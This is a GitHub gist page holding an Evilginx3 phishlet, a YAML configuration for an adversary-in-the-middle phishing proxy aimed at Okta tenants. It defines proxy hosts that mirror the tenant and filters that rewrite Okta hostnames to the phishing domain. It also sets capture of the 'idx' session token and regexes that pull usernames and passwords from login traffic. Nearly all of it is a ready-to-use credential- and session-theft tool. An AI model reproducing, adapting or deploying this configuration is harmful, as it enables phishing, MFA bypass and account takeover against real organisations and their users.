Skip to content

Instantly share code, notes, and snippets.

@simplerhacking
Last active March 1, 2024 09:30
Show Gist options
  • Save simplerhacking/b5908fbd32a7b166650b71e758f17719 to your computer and use it in GitHub Desktop.
Save simplerhacking/b5908fbd32a7b166650b71e758f17719 to your computer and use it in GitHub Desktop.
Evilginx3 Okta Phishlet (For Okta Tenant)
name: 'Okta'
author: 'www.simplerhacking.com'
min_ver: '3.0.0'
proxy_hosts:
- {phish_sub: 'okta-tenant-here', orig_sub: 'okta-tenant-here', domain: 'okta.com', session: true, is_landing: true, auto_filter: true}
sub_filters:
- {triggers_on: 'okta-tenant-here', orig_sub: '', domain: 'okta-tenant-here', search: 'okta-tenant-here.okta.com', replace: '{hostname}', mimes: ['application/ion+json']}
- {triggers_on: 'okta-tenant-here', orig_sub: '', domain: 'okta-tenant-here', search: 'https.*\.okta\.com', replace: 'https://{hostname}', mimes: ['text/html']}
auth_tokens:
- domain: 'okta-tenant-here'
keys: ['idx']
credentials:
username:
key: ''
search: '"identifier":"([^"]*)'
type: 'json'
password:
key: ''
search: '"passcode":"([^"]*)'
type: 'json'
login:
domain: 'okta-tenant-here'
path: '/login/login.htm'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment